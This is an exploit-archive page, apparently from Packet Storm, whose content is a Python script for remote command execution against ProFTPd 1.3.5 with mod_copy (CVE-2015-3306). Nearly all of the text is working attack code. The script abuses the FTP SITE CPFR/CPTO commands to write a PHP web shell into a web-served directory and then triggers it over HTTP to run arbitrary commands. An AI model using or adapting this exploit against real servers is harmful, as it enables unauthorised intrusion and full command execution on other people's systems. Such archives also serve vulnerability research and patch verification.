Lucene search

K
packetstormR-73eNPACKETSTORM:131555
HistoryApr 21, 2015 - 12:00 a.m.

ProFTPd 1.3.5 Remote Command Execution

2015-04-2100:00:00
R-73eN
packetstormsecurity.com
433

0.973 High

EPSS

Percentile

99.8%

`# Title: ProFTPd 1.3.5 Remote Command Execution  
# Date : 20/04/2015  
# Author: R-73eN  
# Software: ProFTPd 1.3.5 with mod_copy  
# Tested : Kali Linux 1.06  
# CVE : 2015-3306  
# Greetz to Vadim Melihow for all the hard work .  
import socket  
import sys  
import requests  
#Banner  
banner = ""  
banner += " ___ __ ____ _ _ \n"   
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"  
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"  
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"  
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"  
print banner  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
if(len(sys.argv) < 4):  
print '\n Usage : exploit.py server directory cmd'  
else:  
server = sys.argv[1] #Vulnerable Server  
directory = sys.argv[2] # Path accessible from web .....  
cmd = sys.argv[3] #PHP payload to be executed  
evil = '<?php system("' + cmd + '") ?>'  
s.connect((server, 21))  
s.recv(1024)  
print '[ + ] Connected to server [ + ] \n'  
s.send('site cpfr /etc/passwd')  
s.recv(1024)  
s.send('site cpto ' + evil)  
s.recv(1024)  
s.send('site cpfr /proc/self/fd/3')  
s.recv(1024)  
s.send('site cpto ' + directory + 'infogen.php')  
s.recv(1024)  
s.close()  
print '[ + ] Payload sended [ + ]\n'  
print '[ + ] Executing Payload [ + ]\n'  
r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP  
if (r.status_code == 200):  
print '[ * ] Payload Executed Succesfully [ * ]'  
else:  
print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'  
  
print '\n http://infogen.al/'  
`